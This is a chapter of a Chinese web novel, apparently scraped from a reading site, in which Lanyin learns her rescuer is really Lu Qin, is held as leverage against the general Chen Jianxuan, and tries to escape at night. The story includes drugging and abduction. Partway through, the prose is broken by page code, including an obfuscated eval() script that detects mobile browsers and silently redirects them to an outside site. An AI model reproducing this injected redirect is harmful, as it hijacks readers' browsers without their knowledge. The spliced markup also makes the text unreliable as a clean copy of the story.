兰因裹紧包袱,从椅子上站起来,脚步已经往旁边挪了半寸,“……赵公子,多谢你相救……但我有急事,下次再……
“陈见玄不会那么快过来。”
兰因的脚步钉在原地。她回过头,微微睁大了眼睛。
赵诵依旧坐在那里,手里捏着那只粗陶茶杯,指腹沿着杯沿慢慢摩挲。
身后传来一声闷响。
兰因猛地回头去看。
马夫已经趴在桌上,脸埋在面碗旁边,筷子从手里滑落,骨碌碌滚下桌沿,在地上弹了两下,不动了。
她赶忙几步折回去,伸手去推他的肩膀,大声叫他的名字。马夫睡得死沉,任她怎么推都毫无反应,只有粗重的呼吸声一起一伏。
她的手停在马夫的肩上,指尖慢慢收紧。她转过头来,看着赵诵,声音发紧,“你做了什么?”
赵诵放下茶杯,杯底磕在木桌上,发出一声极轻的闷响。他看着她的眼睛,语气不紧不慢,像是怕吓着她。
“只是昏睡过去。”
兰因待在原地,似是想到了什么,脸上一瞬间的难堪。才抬起头看着他,稳着声音问他,“你想做什么?”
赵诵在兰因原先的位置上,给她斟了一杯茶,随后手指轻点那里,示意她坐下。
兰因犹豫了片刻,仿佛也意识到自己别无他法,才往那里坐下。
赵诵看她略显防备的模样,眼底划过些许失落,他从她那里拿过茶杯,稳稳的喝了,随后抬眼看她,“没有下药。”
他放下茶盏,隔了很久,才道,“兰因,我曾经说过很多谎……做过很多违心的事……”
“但今日,我不想与你说谎。”他沉着眼眸,仿佛在说一件极为平常的事情,“我不叫赵诵……我是陆钦。”
“少主!”一旁的萧厉失声,想要阻止他。
赵诵抬眼看她,目光沉沉,那双温润的眸子现下像浸在深潭里的墨玉,幽深之处藏着兰因读不懂的阴霾。
很长一段时间……赵诵讲完他的身世历程之后,兰因很长时间都没说话,她紧紧抓着瓷杯,眼睫毛抖动的很厉害,昭示着她内心并不安定。
直到桌上的烛火轻轻爆了一下,几点火星溅在桌上,转瞬灭了。
兰因开口,试探着问出,“所以……你想用我来威胁他?”
一旁的萧厉下意识审视着兰因,眼里闪过几分不可思议。少主只是说了陈家和陆家的血海深仇,其中并没提起这女子一句话。
这女子外表看起来柔柔弱弱,但听了陈氏与陆氏如此血腥阴暗的往事,居然没有慌张和害怕。
即便方才赵诵救了她,她也没有分神,很快便清楚自己的处境。
“你从……”兰因往过去细想,“你从一开始,接近我……都是为了接近陈见玄,是吗?”
她眼里没有被在意之人算计的辜负,只是深思过后的冷静和防备。
赵诵很快便清楚这一点,他垂下眼眸,遮住眼底不知名的落寞。
空气有很久的凝滞,赵诵一直没回答兰因的问题,反而开口询问她。
“兰因,你为什么要离开陈家?”他盯着她的眼睛,想从里面找到答案,“你为什么要离开陈见玄?”
陈家被抄的时候,那么艰难的境遇,兰因都没离开……现在却不顾一切的想要逃跑。
“是……陈见玄对你做了什么?”
兰因脸上掠过一瞬间的不自在,手脚发凉,半晌才出声,“我只是想去渝州看望父母……”
“是吗?”
会仙楼那日,彼此都清楚到底发生了什么……即便不是亲眼所见,赵诵也十分清楚,那天到底发生了什么。
赵诵压住眼底的难堪和怒意,说陈见玄是畜生,罔顾人伦,连自己的嫂子都不放过……但他对她做的一切?
何尝不是畜生?
谁都没提会仙楼那日的茶水中到底是谁下了药,兰因不愿提,并不代表她没有猜测,而赵诵也不愿提。
赵诵没戳破兰因的谎言,垂眸之后,他换了一副面孔,“兰因,我不会伤害你。”
“我亦不会伤害陈见玄。”
一直垂眸防备的兰因听到这句话,很快抬起来了眼眸看他。
像是知晓她不相信。
赵诵看着她,眼神异常的纯澈认真,“一朝天子一朝臣,陈家与陆家的血海深仇……陈见玄不过是雍王手底下的一把刀,没有陈见玄,亦会有其他人。”
视线缓缓落到面前的茶盏,深秋寒凉,温热的茶水早已凉透,冒不出一丝热气。
他语气浅淡,像是释怀一般,“我不恨他,我只恨雍王。我陆氏一族一百二十三口,皆丧命于雍王手中。”
“我希望你帮我,兰因。只要你肯帮我,我可以帮你做你想做的事……”
他意有所指,“安稳的生活……体面的身份,我都可以帮你。”
……
夜晚的京城已是闹翻了天。
直到天黑透了,寻了些许时辰,眼看着从白昼到深夜,依然没寻到兰因。
本应紧锁的城楼门此刻依旧敞着,灯火通明,亮得有些刺眼。两个侍卫跪在地上,后背的鞭痕洇透了黑衣,血沿着衣料的纹路往外渗,黏稠的,发暗的。没有一个人敢抬头,连呼吸都压得极轻。
老刘跪在稍远处,半边脸肿着,嘴角还挂着没擦净的血痕。
陈见玄立在那里,目光沉沉地看着城门外的远处,一动不动。
他卸了外袍,只着一件玄色窄袖劲装,肩背的轮廓被火把勾勒出一道冷硬的弧线。火光在他眉骨下投出深深的阴影,看不清眼底的情绪,只余下颌线紧绷。
底下的三人同时打了个寒颤。
夫人进了琅华斋,他们在外面守着,约莫半个时辰不见人出来,进去寻时才发现人已经从绮罗阁的后门走了。老刘在汤饼店,毫不知情。他们沿路追到城门口,盘查到守城的兵卒,确有个女子独自出了城门。
但再往后的踪迹,仿佛是有人刻意隐去混淆,夫人到底去了何处,到现在还没查出来。
周奉安跟着跪下,“属下失职,请将军责罚。”
想起方才主子暴怒的场景,周奉安不由得脊背紧绷。
那时主子吐出两个字,“去找。”
起初他似有猜测,怕是夫人自己……逃跑的。但若真是如此,不至于到现在还没找回来人。现下夫人的去处被人刻意隐了踪迹,怕是被人给挟持了。
陈见玄像是没听见人说话一样,只是目光森冷地望着城门外。
似乎是在等着什么。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777066|208205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
人不见了,陈见玄起初是震怒的。但猜到兰因是被挟持时,他反而冷静下来,甚至在心底隐隐松了一口气。
他潜意识觉得兰因不会离开他,也不应该离开他。
比起兰因的逃离,他更相信她是被人挟持。
既能挟持,那人便一定会来跟他谈条件。那么兰因现在起码是无恙。
他慢慢转动着拇指上的玉扳指,一圈,又一圈,动作很慢。
“赵诵……陆钦……”他忽然念起这两个名字,眼底溢出狠辣和阴邪。
怪不得他想娶兰因。
玉扳指在他指间倏地一停。
“一开始就应该杀了他。”
没多久,城门外派遣出去一队侍卫踏着阵阵马蹄声归来,他们本是去寻兰因的。
其中一人赶忙从马上下来,单膝跪在陈见玄面前,递上信还有一个帕子。
帕子素白,只在底下绣了一朵不起眼的小花,陈见玄一看便知那是兰因的。
陈见玄便知晓,兰因现在无事。
而信上只写了一句话。
京郊罗山,若要人活,陈见玄一人前来。
……
罗山上今夜没有月亮,黑得沉甸甸的。山风从高处灌下来,裹着深秋的凉意往领口里钻,兰因拢了拢衣襟,指尖触到袖中母亲那只银镯,冰得她微微一缩。
不远处站着赵诵和萧厉,几个随从举着火把散在四周。火光被风扯得摇摇晃晃,映得他们的影子也跟着晃,忽长忽短,像一群无声的鬼魅。
山下有河。水声哗哗地响着,在黑夜里格外清晰,不知疲倦地往更深的夜色里奔去。
河水在响,风声在响,火把燃烧的噼啪声在响,其中还夹在这几声男人说话的声音。
兰因看着面前小小的火堆,不知道在想些什么,不一会儿,远处又传来赵诵的声音。
赵诵说,等明日会送她去往渝州,只是天黑路远,途径罗山,休息一夜。
至于兰因信了没有,赵诵不知道,也或许他并不在意。
当人处于弱势,只能听命于人时,人家乐意了会哄两句骗你,至于你信不信,根本不重要。
他方才邀请兰因在火堆边烤烤火,但是兰因顾忌着男女大防,不肯过去,赵诵也随着她,只是给她这处弄了一个小火堆。
兰因时不时偷偷地瞄了几眼赵诵那处,看他的注意力似乎并不在此处,她不由得向另外一个方向张望。
丛林的深处,不知通往何处,但比起这些,更让兰因恐惧的是未知的一团黑。
没有火光照耀的地方,树影重重叠叠,什么也看不清,山风穿过林而过,带起一片沙沙的声响,像是幽鬼在飘荡。
兰因的手心渗出细密的汗,心跳一声比一声急。
她又瞄了远处的赵诵那处,他和萧厉背对着她,正在低声说些什么,几个随从执着火把立在远处,没有人往她这边看。
片刻后,兰因下定了决心。
一点,一点,她裹着包袱,从小树桩上撑起了身子,动作很轻。枯草在她脚边发出极其细微的窸窣声,她把脚提起来,再小心翼翼的踩下去。
一步,再一步。
渐渐的,她速度越来越快,那团火光离她越来越远,离未知的漆黑却更近。